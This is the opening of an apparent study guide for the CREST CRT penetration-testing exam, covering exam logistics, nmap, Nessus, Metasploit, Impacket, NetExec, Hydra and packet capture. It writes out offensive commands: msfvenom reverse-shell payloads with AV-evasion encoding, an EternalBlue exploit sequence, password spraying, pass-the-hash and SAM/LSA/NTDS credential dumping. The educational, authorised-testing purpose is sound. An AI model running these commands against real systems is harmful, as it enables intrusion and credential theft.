

The CREST Registered Tester Study Book

A comprehensive technical reference mapped to the official CREST CRT Syllabus v2.0

Approximately 60,000 words across 12 chapters

Covering Infrastructure, Web Applications, and Databases

With practical lab walkthroughs and exam strategy

The CREST Registered Penetration Tester Study Book

A comprehensive technical reference mapped to the official CREST CRT Syllabus v2.0 (SYL_CRT_v2.0, 2023-07-07)

Preface

This book is intended as a complete, self-contained study reference for the CREST Registered Penetration Tester (CRT) certification examination. It assumes the reader holds the CREST Practitioner Security Analyst (CPSA) certification (a mandatory prerequisite) and is comfortable working in a Linux command-line environment. The text is dense by design: every syllabus topic is covered with the technical depth needed to perform the work in a timed practical examination, not merely to discuss it in the abstract.

The book follows the structure of the official syllabus (Appendices A through H, plus PT001 examination administration), with additional chapters covering exam strategy, hands-on lab recommendations, and reference appendices. British English is used throughout, in line with the authoring conventions of CREST's own documentation.

A note on safety and legality: every technique described in this book is intended for use in authorised assessments only - either against systems you own, against systems for which you have explicit written permission, or in commercial penetration tests performed under a properly scoped engagement letter. Unauthorised use of any of this material against systems you do not own is a criminal offence under the Computer Misuse Act 1990 in the United Kingdom and equivalent legislation elsewhere. Maintain your professional ethics; they are what distinguish a CREST-certified tester from a criminal.

Part 1: The CRT Examination

1.1 Examination Overview

The CREST Registered Penetration Tester examination is a hands-on, technical practical exam delivered through Pearson VUE test centres. It is designed to assess whether a candidate possesses the knowledge, skills and competence to operate as a junior or mid-level penetration tester within an authorised CREST member organisation. Candidates who pass demonstrate they can:

- Conduct infrastructure assessments against networks of varying complexity
- Identify and exploit common vulnerabilities in network services
- Perform Windows and Linux post-exploitation work, including credential extraction and lateral movement
- Conduct web application assessments covering the OWASP Top Ten and beyond
- Operate within time pressure, producing accurate findings under exam conditions

The examination is the second tier on CREST's penetration testing certification path. It sits above the CPSA (which is multiple-choice and theoretical) and below the CCT INF and CCT APP examinations (which are deeper, scenario-based assessments suitable for senior consultants and team leaders).

1.1.1 Format and Duration

Attribute	Detail
Practical examination duration	2 hours 30 minutes
Reading time before practical start	15 minutes
Total time at the test centre	Approximately 2 hours 45 minutes (plus check-in time)
Delivery method	Pearson VUE test centre, in-person
Examination environment	Locked-down Kali Linux virtual machine, accessed via Pearson VUE secure browser
Question format	Multiple choice, short-form written answers, and “trophy” answers (specific values captured from the practical assault course)
Marking	Auto-marked
Result turnaround	Approximately five working days
Validity period	Three years from date of issue
Pre-requisite	Valid CREST Practitioner Security Analyst (CPSA) certification

The 15-minute reading time is allocated separately from the practical 2.5 hours and is meant for orientation and planning. Use it to read every question, identify the easy wins, and plan a sensible order of attack.

1.1.2 The “Practical Assault Course”

CREST describes the CRT exam as a “**practical assault course**” rather than a traditional engagement-style assessment. This wording is meaningful and changes the strategy substantially compared to longer hands-on exams (such as the OSCP or CCT INF) that some candidates may already have experienced.

In practice this means:

- **The targets are pre-built reference networks, hosts and applications** designed to test a specific set of skills against the published syllabus. The exam is not an open-ended engagement.
- **Each question typically maps to a specific skill area** in the syllabus (Appendices A through H). Candidates are expected to perform the technical task and provide a specific value (a “trophy” - a flag, a hash, a username, a banner, a configuration value, or similar) as the answer.
- **Multiple choice and short-form questions** complement the trophy questions, testing knowledge of tools, protocols, vulnerabilities and methodology in addition to hands-on capability.
- **There is no penetration test report to write.** The exam is auto-marked. The “answer” to a practical question is the specific value extracted, entered into the answer-capture system.
- **The mark allocation is not published.** The CREST Notes for Candidates (CRT) document and the FAQ do not give a numeric breakdown of marks per topic. Candidates should treat every question as potentially equally weighted and avoid spending disproportionate time on any single problem.

The 150 minutes of practical time, at a generous estimate of one question per ten minutes, suggests a ballpark of 15 to 25 questions in total. Some are likely to be 30-second multiple choice; others may require five or ten minutes of enumeration and exploitation. The candidates who pass are those who triage efficiently: answer the easy ones first, return to the harder ones with whatever time remains, and never lose more than 10-15 minutes to a single problem before moving on.

1.1.3 Pass Criteria and Re-takes

The examination is awarded on a pass/fail basis. CREST does not publish the specific pass mark percentage for the CRT in its public materials, and this differs from other CREST examinations (such as the CCT) where a per-section threshold is published. Candidates should aim to answer as many questions as accurately as possible rather than targeting a specific minimum.

A candidate who passes the CRT examination but whose underlying CPSA expires loses CRT certification at the same time. Both certifications must be maintained in tandem; CRT itself is valid for three years from the date of the exam.

Candidates who fail can re-book through Pearson VUE. Refer to current CREST policy for any cooling-off period and the Pearson VUE booking system for available dates.

1.1.4 Examination Environment

The examination is delivered inside a locked-down virtual machine accessible only from within the Pearson VUE test centre. The VM is based on a Kali Linux build maintained by CREST. Critically:

- **The VM has no internet access.** All reference material must be on-machine (man pages, tool help text, locally stored notes uploaded via CRESTDrive).
- **Copy and paste between the VM and the answer-capture system is disabled.** Answers must be retyped manually. Watch for trailing whitespace, case sensitivity, and exact format requirements.
- **Burp Suite Professional and Nessus Professional are licensed in the exam VM.** This is a meaningful difference from the publicly distributed CRT Amazon Machine Image (AMI), which has both tools installed but unlicensed.
- **The CRT AMI is otherwise an exact copy of the exam VM.** It is freely available to CREST member organisations for candidate practice. Spend significant practice time inside this AMI, not just any Kali install.
- **CRESTDrive** is a pre-exam upload mechanism allowing candidates to bring up to 100 MB of personal files into the VM. This is where you upload your personal cheat sheet, custom wordlists, static binaries (such as `linpeas.sh`, `winpeas.exe`, `chisel`, `ligolo`), and any scripts you have written. Use this allowance.

1.1.5 Tools Available in the Examination VM

The following tools are installed and ready to use. This list is non-exhaustive and reflects what experienced CRT candidates have encountered in recent sittings; CREST does not publish a definitive tool inventory.

Network discovery and port scanning: `nmap`, `masscan`, `rustscan`, `arp-scan`, `netdiscover`, `fping`, `unicornscan`, `hping3`

Service enumeration: `enum4linux`, `enum4linux-ng`, `smbclient`, `smbmap`, `rpcclient`, `nbtscan`, `onesixtyone`, `snmpwalk`, `snmp-check`, `ldapsearch`, `windapsearch`, `ike-scan`, `showmount`, `dig`, `dnsenum`, `dnsrecon`, `fierce`, `host`, `whois`, `sslsan`, `sslyze`, `testssl.sh`, `nikto`, `whatweb`, `wpscan`, `nbtscan`

Vulnerability scanning: Nessus Professional (licensed), `nmap` NSE scripts, `searchsploit` (offline ExploitDB)

Exploitation frameworks: Metasploit Framework (`msfconsole`, `msfvenom`), Impacket suite (`psexec.py`, `wmiexec.py`, `smbexec.py`, `secretsdump.py`, `GetNPUsers.py`, `GetUserSPNs.py`, `ntlmrelayx.py`, `mssqlclient.py`), CrackMapExec/NetExec (`nxc`), Responder, evil-winrm, Hydra, Medusa, Ncrack

Password attacks: John the Ripper (`john`), Hashcat (`hashcat`), `hash-identifier`, `hashid`, plus the SecLists collection in `/usr/share/wordlists/`

Web application testing: Burp Suite Professional (licensed; Community installed alongside in some builds), `sqlmap`, `ffuf`, `feroxbuster`, `gobuster`, `dirb`, `wfuzz`, `commix`, `xsser`

Traffic capture and analysis: `tcpdump`, `wireshark`, `tshark`, `ettercap`, `bettercap`

Pivoting and tunnelling: `chisel`, `sshuttle`, `ligolo-ng` (often via CRESTDrive upload), `proxychains4`, `socat`, OpenSSH client

Windows tooling for upload: `mimikatz`, BloodHound/SharpHound, kerbrute, Rubeus, PowerSploit suite, PowerUp, Sherlock, Watson - these typically need to be uploaded to CRESTDrive

Utilities: `tmux`, `screen`, `grep`, `awk`, `sed`, `cut`, `sort`, `uniq`, `curl`, `wget`, `netcat` (`nc`, `ncat`), `openssl`, `base64`, `xxd`, `python3`, `perl`, `ruby`, `php`

1.1.6 What to Pre-Upload to CRESTDrive

The 100 MB allowance is generous if used wisely. A recommended package:

1. **Personal cheat sheet** in plain text or PDF. The author's recommendation is a one-page-per-protocol format covering enumeration, common vulnerabilities, and exploitation steps.
 2. **Custom wordlists** beyond rockyou.txt. Particularly useful: `xato-net-10-million-passwords-1000.txt`, common usernames lists, and any organisation-specific lists you have built up.
 3. **Static binaries:** `chisel` (both Linux and Windows), `ligolo-ng` agent and proxy, `linpeas.sh`, `winpeas.exe`, `winpeas.bat`, `pspy64`, `socat` (static Linux build), `Mimikatz`, `Rubeus` (compiled), `SharpHound` (compiled).
 4. **PowerShell scripts:** `PowerView.ps1`, `Invoke-Mimikatz.ps1`, `PowerUp.ps1`, `Sherlock.ps1`, `Watson.exe`, `Seatbelt.exe`.
 5. **Reverse shell payload generators:** a cheat-sheet of pre-formatted reverse shell one-liners with a placeholder for IP and port.
 6. **Personal notes from this book**, particularly the Appendices.
-

1.2 Examination Strategy and First Principles

Before diving into the technical content, it is worth establishing the strategic principles that distinguish candidates who pass comfortably from those who scrape through or fail.

1.2.1 Time Awareness Is the Single Most Important Skill

A great many candidates fail the CRT not because they lacked technical knowledge, but because they spent 45 minutes attempting to exploit a vulnerability worth 5 marks while a 20-mark question sat unattempted. The single most useful habit you can develop in practice is **looking at the clock every time you start a new task** and asking “is this worth the time it will take?”.

A working rule: if you have not made measurable progress on a question after 15 minutes, mark it for return and move on. Come back to it only after attempting all other questions. The exam is structured so that the easier marks are spread across multiple questions; you will gain more by sweeping up easy marks than by grinding on a single hard one.

1.2.2 The Exam Rewards Methodology, Not Genius

The CRT does not ask candidates to discover novel vulnerabilities or exploit unpatched zero-days. Every question can be answered using publicly known techniques against publicly known vulnerabilities. What is being assessed is whether you can:

1. Methodically enumerate a target
2. Identify the obvious weaknesses
3. Execute the standard exploitation path
4. Capture the required evidence

Candidates with a documented, rehearsed methodology consistently outperform candidates who improvise. Build your own methodology during preparation; do not try to invent one in the exam.

1.2.3 The Scan-While-You-Work Pattern

Many enumeration tasks (full TCP port scans, UDP top-100 scans, Nessus scans, web directory brute-forcing) take significant wall-clock time. A skilled candidate launches these as background tasks immediately on starting the exam, then performs other work while they run. Use `tmux` to manage multiple terminal sessions and `tee` to capture all output to disk for later grep.

A typical opening sequence on a target would be:

```
# Set up working directory
mkdir -p ~/crt/10.10.10.50 && cd ~/crt/10.10.10.50

# Background full-port TCP scan
sudo nmap -sS -p- --min-rate 2000 -oA tcp_full 10.10.10.50 &

# Background UDP top-100 scan
sudo nmap -sU --top-ports 100 -oA udp_top100 10.10.10.50 &

# Foreground: targeted scan of common ports while we wait
sudo nmap -sS -sV -sC -p21,22,25,53,80,110,111,135,139,143,443,445,993,995,1433,1521,3306,3389,5432,5900,5985,8080 -oA tcp_common 10.10.10.50
```

By the time the targeted scan completes, the full TCP scan is usually well under way and may have surfaced additional open ports for further investigation.

1.2.4 Always Read the Question

This sounds trite but is the single most common reason for candidates losing easy marks. The question wording defines the format of the answer. If the question asks for “the username and password of the database administrator”, the answer should be in `username:password` format, not “the administrator’s password is `Hunter2`”. If it asks for the full path to a file, include the leading slash. If it asks for a hash, include only the hash (not the username prefix). Misformatted answers do not score, even if technically correct.

1.2.5 Trust Standard Tooling Over Clever Tricks

The exam VM is a slightly older Kali build. Some bleeding-edge tools (the latest NetExec features, recent Impacket additions) may behave differently to your home lab. Stick to the documented standard behaviour of the tools as installed. If a clever one-liner from a blog post fails, fall back to the boring, well-documented approach.

Part 2: Core Technical Skills (Syllabus Appendix A - PT002)

The first appendix of the syllabus covers the foundational skills assumed of any candidate. These are not subject-specific; they are the meta-skills of being a tester. Strong performance in every other area depends on competence here.

2.1 Using Tools and Interpreting Outputs (A1)

The syllabus identifies five categories of tool a CRT candidate must be fluent with. For each category, the candidate must be able to: select an appropriate tool for the task; configure it correctly for the target environment; run it and capture its output; and **interpret the output to derive meaningful conclusions**. The third skill is the easy one to neglect during preparation, and the one most often probed in the exam.

2.1.1 Port Scanning Tools

nmap is the foundational port scanner. Every CRT candidate must be able to use it fluently from memory. The key flags grouped by function:

Scan techniques: - `-sS` - SYN scan (default when run as root). Sends SYN, observes SYN/ACK or RST. Stealthy because the connection is never completed. - `-sT` - TCP connect scan (default when not root). Completes the full three-way handshake. Logged by most services. - `-sU` - UDP scan. Slow and unreliable because of the lack of UDP handshake. Combine with `--top-ports` to keep duration manageable. - `-sA` - ACK scan. Used to map firewall rule sets - distinguishes between filtered and unfiltered ports. - `-sN`, `-sF`, `-sX` - NULL, FIN, Xmas scans. Send packets with non-standard flag combinations. Sometimes bypass simple stateless firewalls. Distinguish open/filtered (no response) from closed (RST). - `-sY` - SCTP INIT scan. Rare but present on some telecoms infrastructure. - `-sn` - Ping sweep only, no port scan. Useful for host discovery on a subnet.

Port specification: - `-p <ports>` - specify ports (e.g., `-p22,80,443` or `-p1-1024`). - `-p-` - all 65,535 TCP ports. - `--top-ports <N>` - the N most commonly open ports. - `-F` - fast scan (top 100 ports).

Service and version detection: - `-sV` - version detection. Probes ports to identify the service and version running. - `-sV --version-intensity <0-9>` - controls how aggressive version probing is. 9 sends every probe; 0 sends only those marked light. - `-O` - OS detection. Sends a series of crafted packets and analyses responses. - `-A` - aggressive scan. Equivalent to `-sV -O -sC --traceroute`.

Script engine: - `-sC` - run default scripts (equivalent to `--script=default`). - `--script <name>` or `--script <category>` - run specific NSE scripts. Categories include `auth`, `broadcast`, `brute`, `default`, `discovery`, `dos`, `exploit`, `external`, `fuzzer`, `intrusive`, `malware`, `safe`, `version`, `vuln`. - `--script-args <args>` - pass arguments to scripts.

Output: - `-oN <file>` - normal output (human readable). - `-oG <file>` - greppable output. Excellent for parsing with `awk` / `grep`. - `-oX <file>` - XML output. Used to feed scan data into other tools. - `-oA <basename>` - all three formats simultaneously.

Timing and performance: - `-T0` (paranoid) through `-T5` (insane). `-T4` is the default for most penetration tests against systems on the internet; `-T3` is the nmap default and is appropriate for slower or bandwidth-constrained networks. - `--min-rate <pps>` and `--max-rate <pps>` - control packet rate directly. - `--min-parallelism <N>` - controls parallel probe count.

Host discovery and stealth: - `-Pn` - skip host discovery (treat all hosts as up). Essential when targets block ICMP. - `-n` - disable DNS resolution. Speeds up scans significantly. - `-R` - always perform DNS resolution. - `-f` - fragment packets. Sometimes bypasses simple packet inspection. - `--source-port <port>` (or `-g <port>`) - specify source port. Some firewalls allow inbound connections from source ports 53 (DNS) or 88 (Kerberos). - `-D <decoys>` - decoy scan. Mixes your real source IP with decoy source IPs. - `--data-length <N>` - append N random bytes to packets to defeat trivial signature matching.

Reading nmap output is itself a skill. The four port states are: - **Open** - service is listening and accepting connections. - **Closed** - host responded but no service is listening (RST received). - **Filtered** - no response, or ICMP unreachable. Almost always indicates a firewall. - **Unfiltered** - port is reachable but state cannot be determined (only seen with `-sA` ACK scans).

A port reported as `open|filtered` (combined state) is one where nmap could not determine which. This is common with UDP scans where the lack of response is ambiguous.

masscan is a faster alternative when scanning very large IP ranges or all 65,535 ports across many hosts. It uses an asynchronous TCP/IP stack and can scan the entire IPv4 internet in under six minutes from a well-provisioned host. In an exam context, use it to quickly establish which hosts have any responsive services, then follow up with **nmap** for accurate service detection.

```
# Scan top ports across a subnet at high rate
sudo masscan -p1-65535 --rate 10000 10.10.10.0/24 -oL masscan.out

# Then convert open ports to a target list for nmap
awk '/open/ {print $4}' masscan.out | sort -u > live_ports.txt
```

rustscan is a more modern wrapper that uses Rust's async networking to enumerate open ports very quickly, then hands off to nmap for detailed service detection. Useful when time is tight, but its defaults can be aggressive enough to crash fragile services. Use `--ulimit 5000` to control the file descriptor limit.

2.1.2 Vulnerability Scanning Tools

Vulnerability scanners look for known weaknesses in services they identify. They are signature-based: they cannot find vulnerabilities they have not been programmed to look for, but they are very fast at finding the ones they have.

Nessus Professional is the dominant commercial vulnerability scanner and is licensed in the CRT exam VM. The key things to know:

- Nessus runs as a service on `localhost:8834` (HTTPS).
- The exam VM has Nessus pre-configured. Log in with the supplied credentials, navigate to “New Scan”, choose a template (Basic Network Scan or Advanced Scan), set the target list, and launch.
- Scans take 10-30 minutes for a single host depending on services running. **Launch Nessus scans early** (during reading time if possible).
- Findings are categorised Critical, High, Medium, Low, Info. The CRT examiners are typically interested in High and Critical findings. The “Info” category contains useful enumeration data (banner grabs, certificate details, supported cipher suites) that should not be ignored.
- Each finding includes a synopsis, description, solution, risk factor, CVSS score, and references (CVE IDs, BID, OSVDB). The “Plugin Output” field often contains the specific evidence Nessus used to confirm the vulnerability - this is gold dust when answering exam questions.

OpenVAS / Greenbone Vulnerability Manager is the open-source alternative, sometimes installed on Kali but not always. Conceptually similar to Nessus but slower and with a less polished interface. If Nessus is available, use Nessus.

searchsploit is the offline interface to the ExploitDB database. Essential when you need to find exploit code without internet access. Usage:

```
# Search by service and version
searchsploit "vsftpd 2.3.4"

# Search by CVE
searchsploit --cve 2017-7494

# Show the exploit's content
searchsploit -x linux/remote/49757.py

# Mirror an exploit to your working directory
searchsploit -m linux/remote/49757.py
```

Nmap Scripting Engine vulnerability scripts provide a lightweight alternative to a full vulnerability scanner. Useful when you have specific suspicions:

```
# Run all vuln scripts
sudo nmap --script vuln -p <ports> <target>

# Specific service vulnerability checks
sudo nmap --script smb-vuln-* -p 445 <target>
sudo nmap --script ssl-heartbleed,ssl-poodle,ssl-ccs-injection -p 443 <target>
sudo nmap --script http-enum -p 80,443 <target>
```

2.1.3 Enumeration Tools

Enumeration is the process of extracting information about identified services. The major enumeration tools by service category:

SMB enumeration: `enum4linux`, `enum4linux-ng`, `smbclient`, `smbmap`, `rpcclient`, `nmap smb-*` scripts, `nxc smb`

SNMP enumeration: `snmpwalk`, `snmp-check`, `onesixtyone`, `nmap snmp-*` scripts

LDAP enumeration: `ldapsearch`, `windapsearch`, `nmap ldap-*` scripts, `enum4linux-ng`

DNS enumeration: `dig`, `host`, `nslookup`, `dnsrecon`, `dnsenum`, `fierce`, `nmap dns-*` scripts

Web enumeration: `whatweb`, `wpscan`, `nikto`, `gobuster`, `feroxbuster`, `ffuf`, `dirb`

SMTP enumeration: `smtp-user-enum`, `nmap smtp-*` scripts

SSH enumeration: `ssh-audit`, `nmap ssh-*` scripts

Each of these is covered in depth in the relevant service chapter.

2.1.4 Exploitation Tools

Exploitation tools deliver payloads to vulnerable services to achieve some attacker objective (usually code execution, credential disclosure, or data extraction).

Metasploit Framework is the dominant general-purpose exploitation framework. Architecturally:

- **Modules** are organised into types: `exploit` (vulnerabilities that lead to code execution), `auxiliary` (scanners, brute forcers, fuzzers - useful for enumeration), `post` (post-exploitation modules requiring an existing session), `payload` (the code delivered by an exploit), `encoder` (obfuscation), `nop` (NOP sled generators).
- **Sessions** are the connections back from successful exploits. Two main types: `shell` (raw command shell) and `meterpreter` (Metasploit's custom in-memory agent with rich capabilities).

The standard usage pattern:

```

msfconsole -q # quiet startup, skip banner
search type:exploit name:eternalblue # find a module
use exploit/windows/smb/ms17_010_eternalblue
show options # see required parameters
set RHOSTS 10.10.10.50
set LHOST 10.10.14.5
set LPORT 4444
show payloads # see compatible payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
check # if supported, test if target is vulnerable
exploit # or 'run'

```

Critically for the CRT, **Metasploit can be used as more than just an exploit framework**. Its `auxiliary/scanner/*` modules cover login brute-forcing, service enumeration, and information gathering across virtually every protocol. Many exam questions can be answered using auxiliary modules without ever firing an exploit.

msfvenom is Metasploit's standalone payload generator, used to create payload files outside the framework (for upload to a target via file inclusion, file upload, or any other means):

```

# Windows x64 reverse Meterpreter as EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

# Linux x64 reverse shell (no Meterpreter, just bash)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf

# PHP payload for web shell upload
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php

# ASP.NET payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx -o shell.aspx

# Add encoding to evade simple AV signatures
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x64/xor -i 5 -f exe -o shell.exe

```

To receive the connection from a payload, use Metasploit's multi-handler:

```

msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
run -j # run as a background job

```

The **Impacket suite** is a collection of Python tools and a library for working with Microsoft network protocols. The CRT-relevant tools:

- `psexec.py` - PsExec equivalent, gives a SYSTEM shell on the target via SMB.
- `wmiexec.py` - command execution via WMI. Quieter than psexec.
- `smbexec.py` - alternative command execution via SMB. Uses a temporary service.
- `secretsdump.py` - dumps SAM, LSA, NTDS.dit (DCSync). The single most useful tool for AD post-exploitation.
- `GetNPUsers.py` - AS-REP roasting (extracts hashes for users with `DONT_REQ_PREAUTH` set).
- `GetUserSPNs.py` - Kerberoasting (extracts service ticket hashes for accounts with SPNs).
- `ntlmrelayx.py` - relays NTLM authentication captured by Responder or by being in the path.
- `mssqlclient.py` - MSSQL client supporting Windows authentication and `xp_cmdshell`.
- `lookupsid.py` - performs RID cycling against SAM and AD.
- `ticketer.py` - forges Kerberos tickets (golden ticket and silver ticket).

All Impacket tools accept credentials in a consistent format:

```

[domain/]username[:password]@target
or
-hashes [LMhash]:NTHash (pass-the-hash)
or
-no-pass -k (use cached Kerberos ticket via KRB5CCNAME)

```

CrackMapExec / NetExec (`ncx`) is a “swiss army knife” for testing Windows networks. CrackMapExec was the original; NetExec (`ncx`) is a maintained fork now considered the standard. Both share the same basic syntax. Common operations:


```

# Test credentials across many hosts (spray)
nxc smb 10.10.10.0/24 -u administrator -p 'Password123!'

# Test username:password lists
nxc smb 10.10.10.50 -u users.txt -p passwords.txt --continue-on-success

# Pass the hash
nxc smb 10.10.10.50 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0

# Enumerate shares
nxc smb 10.10.10.50 -u user -p pass --shares

# Dump SAM
nxc smb 10.10.10.50 -u administrator -p pass --sam

# Dump LSA secrets
nxc smb 10.10.10.50 -u administrator -p pass --lsa

# Dump NTDS.dit (run on DC)
nxc smb 10.10.10.50 -u administrator -p pass --ntds

# Execute a command
nxc smb 10.10.10.50 -u administrator -p pass -x 'whoami /priv'

# Same over WinRM
nxc winrm 10.10.10.50 -u administrator -p pass

```

The `-M <module>` flag enables additional modules; `nxc smb -L` lists them. Useful modules include `lsassy` (dump LSASS over the wire), `wdigest` (enable WDigest cleartext credential storage in memory), `gpp_password` (extract Group Policy Preferences passwords).

Hydra, Medusa, and Ncrack are network login brute-forcers. They differ in protocol support and performance but are conceptually identical.

```

# SSH brute force
hydra -L users.txt -P passwords.txt ssh://10.10.10.50 -t 4

# FTP brute force
hydra -L users.txt -P passwords.txt ftp://10.10.10.50

# HTTP form brute force
hydra -l admin -P passwords.txt 10.10.10.50 http-post-form \
    "/login.php:user=^USER^&pass=^PASS^:F=Invalid credentials"

# RDP brute force
hydra -L users.txt -P passwords.txt rdp://10.10.10.50

# SMB brute force
hydra -L users.txt -P passwords.txt smb://10.10.10.50

```

The HTTP form syntax is the trickiest. The format is `<path>:<post_body>:<failure_string>`. The failure string can be prefixed with `F=` (the response contains this string on failure) or `S=` (the response contains this string on success). Use `^USER^` and `^PASS^` as placeholders for the user/password being tested.

2.1.5 Traffic Capture Tools

`tcpdump` is the standard CLI packet capture tool. Essential flags:

```

sudo tcpdump -i eth0 -nn                # capture on eth0, no name resolution
sudo tcpdump -i eth0 -nn -w capture.pcap # write to file
sudo tcpdump -i eth0 -nn -r capture.pcap # read from file
sudo tcpdump -i eth0 -nn host 10.10.10.50 # filter by host
sudo tcpdump -i eth0 -nn port 80          # filter by port
sudo tcpdump -i eth0 -nn 'port 21 or port 23' # multiple ports
sudo tcpdump -i eth0 -nn -A port 80       # ASCII printable bytes
sudo tcpdump -i eth0 -nn -X port 80       # hex + ASCII
sudo tcpdump -i eth0 -nn -s 0 'port 21'   # capture full packet (no truncation)

```

The filter syntax is BPF (Berkeley Packet Filter). Useful constructs:

- `host <ip>` - traffic to/from the host
- `src host <ip> / dst host <ip>` - direction-specific
- `net <cidr>` - traffic to/from a subnet
- `port <port>` - traffic to/from the port
- `tcp / udp / icmp` - protocol filter
- `tcp[13] & 2 != 0` - TCP packets with SYN flag set (advanced)

Wireshark is the GUI equivalent; `tshark` is its CLI form. Wireshark's display filter language is different from BPF capture filters (and far richer). Common display filters:

```

ip.addr == 10.10.10.50
tcp.port == 445
http.request
http.response.code == 200
ftp.request.command == "USER"
smb || smb2
ntlmssp
kerberos
dns
frame contains "password"
!(arp or icmp)
vlan.id == 100

```

Reading captured credentials is a CRT skill. Common protocols you can pull credentials from in cleartext:

- **FTP** (`ftp.request.command == "USER"` and `"PASS"`)
- **Telnet** (look in TCP stream)
- **HTTP Basic Auth** (`Authorization: Basic <base64>`)
- **HTTP forms** (POST body in `http.request`)
- **POP3/IMAP/SMTP** without TLS
- **SNMP v1/v2c** (community string in plaintext)
- **LDAP** without TLS (Simple Bind)

To follow a TCP stream in Wireshark: right-click any packet -> Follow -> TCP Stream. The conversation is reassembled in a readable form.

ettercap and **bettercap** are network attack frameworks supporting ARP spoofing, DNS spoofing, and SSL stripping. On a flat L2 network with no port security, ARP spoofing puts you in the path of all traffic between two hosts. In the CRT exam this is rarely needed (questions are usually solvable without active L2 attacks) but it is in the syllabus.

2.2 OS Fingerprinting (A2)

OS fingerprinting is the process of identifying the operating system of a remote host without direct interaction with the host's identifying information (e.g. without simply reading a banner). It can be done actively (you initiate probes) or passively (you observe traffic the host originates).

2.2.1 Active OS Fingerprinting

The principle: every TCP/IP stack implementation makes slightly different choices about packet construction (initial TTL, default window size, ICMP response behaviour, TCP option ordering). By sending a series of crafted probes and analysing responses, you can identify the OS family with high confidence.

nmap -O is the standard tool. It sends 16 TCP, UDP and ICMP probes to open and closed ports, then matches responses against a database of OS fingerprints.

```

sudo nmap -O 10.10.10.50

Nmap scan report for 10.10.10.50
Host is up (0.0024s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
8080/tcp   open  http-proxy

Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.5
Network Distance: 2 hops

```

The **-A** flag (aggressive scan) includes **-O** plus version detection, default scripts, and traceroute. **Important caveat:** **-O** is unreliable when only a few ports are open or when behind certain firewalls. The **--osscan-guess** flag will produce a best-guess output even when nmap has low confidence.

Indicators nmap uses for OS detection:

- **Initial TTL value:** Linux/Unix systems typically use 64; Windows 128; Solaris/Cisco IOS 255. By the time a packet reaches you, the TTL has been decremented by the number of hops, so you observe values like 60-64 for Linux, 124-128 for Windows.
- **TCP window size:** Linux defaults vary by kernel version but include 5,840 (older), 14,600 (medium), 29,200 (modern). Windows defaults are 8,192 (XP), 65,535 (7+), 8,192 with window scaling (Server 2008+).
- **TCP options:** ordering and presence of MSS, SACK permitted, Window Scale, Timestamp, NOP options differ between OSes.
- **ICMP response behaviour:** how the host responds to ICMP echo request to broadcast addresses, ICMP timestamp, ICMP address mask requests.
- **IP ID generation:** incremental, random, zero, or based on connection.

2.2.2 Passive OS Fingerprinting

Passive fingerprinting observes traffic the target sends naturally (e.g. sniffed from a network you share, or from connections the target makes to your server). It is undetectable by the target.

`p0f` is the standard passive fingerprinting tool. Run it against a packet capture or live interface:

```
sudo p0f -i eth0
sudo p0f -r capture.pcap
```

It analyses initial TTL, TCP window size, MSS, window scale, options layout, DF flag, and several other static fields to identify the source OS. The fingerprint database is in `/etc/p0f/p0f.fp`.

Manual inspection of TTL is the simplest passive fingerprinting technique. Send any packet that elicits a response (a TCP SYN to an open port, an ICMP echo) and look at the TTL of the reply. Common defaults:

OS / Device family	Initial TTL
Linux (most modern)	64
FreeBSD / OpenBSD / macOS	64
Windows	128
Solaris / AIX	255
Cisco IOS	255
Juniper	64

If you observe a response with TTL 60, the OS is probably Linux and the host is 4 hops away. TTL 124 suggests Windows at 4 hops. TTL 250 suggests Solaris or Cisco at 5 hops.

2.2.3 Application-Layer Fingerprinting

Some application-layer responses also disclose OS information:

- **HTTP Server header:** `Apache/2.4.41 (Ubuntu)`, `Microsoft-IIS/10.0`, `nginx/1.18.0 (Ubuntu)`
- **SSH banner:** `SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.4`
- **SMB negotiation:** leaks Windows version (`nmap --script smb-os-discovery`)
- **SNMP sysDescr OID** (1.3.6.1.2.1.1.1.0): typically discloses full OS version
- **SMTP banner:** `220 mail.example.com ESMTP Postfix (Debian/GNU)`
- **FTP banner:** `220 (vsFTPd 3.0.3)` (the binary version often pins the distribution)
- **Telnet welcome banner:** often includes OS version
- **TFTP version:** less informative
- **Database banners:** MSSQL discloses Windows server build via the SQL Browser service

A useful nmap script for SMB OS discovery:

```
sudo nmap --script smb-os-discovery -p 445 10.10.10.50

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   OS CPE: cpe:/o:microsoft:windows_server_2016::-
|   Computer name: DC01
|   NetBIOS computer name: DC01\*00
|   Domain name: corp.local
|   Forest name: corp.local
|   FQDN: DC01.corp.local
|_  System time: 2025-04-25T10:42:13+00:00
```

This single script call extracts OS version, computer name, domain name, forest name, FQDN, and the system clock - all extremely valuable for subsequent attacks (the system clock is needed for Kerberos attacks because of the 5-minute clock skew tolerance).

2.3 Section Summary

The core technical skills appendix is foundational. Before moving to subject-specific chapters, ensure you can:

1. Choose the correct nmap scan technique for a given task and explain the trade-offs
2. Read nmap output and identify the four port states with their meanings
3. Use Metasploit and `msfvenom` from memory without referring to documentation
4. Run Nessus from initial setup through scan completion to interpretation of findings
5. Capture network traffic with `tcpdump` and analyse it in Wireshark
6. Extract cleartext credentials from a packet capture
7. Identify a remote OS by TTL alone, with a confidence statement based on the response

These skills underpin every other chapter in this book. The single most efficient use of preparation time is to drill these foundational tools until they are muscle memory, leaving cognitive bandwidth in the exam to think about the problem in front of you rather than the syntax of the tool you are using.

Part 3: Internet Information Gathering and Reconnaissance (Appendix B - PT003)

